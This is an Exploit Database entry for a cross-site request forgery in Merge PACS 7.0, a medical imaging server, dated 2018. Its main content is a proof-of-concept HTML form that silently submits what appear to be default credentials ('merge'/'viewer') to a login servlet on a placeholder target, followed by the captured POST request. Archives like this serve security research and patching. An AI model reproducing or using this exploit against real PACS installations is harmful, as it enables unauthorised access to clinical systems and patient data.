

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Merge PACS 7.0 - Cross-Site Request Forgery

EDB-ID:

44681

CVE:

N/A

EDB Verified: ✘

Author:

[SAFAK ASLAN](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[LINUX](#)

Date:

2018-05-21

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Merge PACS 7.0 - Cross-Site Request Forgery
# Google Dork: -
# Date: 2018-05-21
# Exploit Author: Safak Aslan
# Vendor Homepage: http://www.merge.com/
# Version: Merge PACS 7.0
# Tested on: Windows
# CVE: -
```

1. Proof of Concept

```
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://targetIP/servlet/actions/merge-viewer/summary"
method="POST">
      <input type="hidden" name="amicasUsername" value="merge" />
      <input type="hidden" name="password" value="viewer" />
      <input type="hidden" name="submitButton" value="Login" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Post Data:

```
POST /servlet/actions/merge-viewer/summary HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://targetIP/servlet/actions/merge-viewer/login?
redirectTo=https%3A%2F%2FtargetIP%2Fservlet%2Factions%2Fmerge-
viewer%2Fsummary
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Cookie: JSESSIONID=6846606B53045FE6474A57C71719C93D
Connection: close
Upgrade-Insecure-Requests: 1

amicasUsername=merge&password=viewer&submitButton=Login
```

Tags: [Cross-Site Request Forgery](#)
([CSRF](#))

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



[EXPLOITS](#)



[GHDB](#)



[PAPERS](#)



[SHELLCODES](#)



[SEARCH EDB](#)



[SEARCHSPLOIT MANUAL](#)



[SUBMISSIONS](#)



[ONLINE TRAINING](#)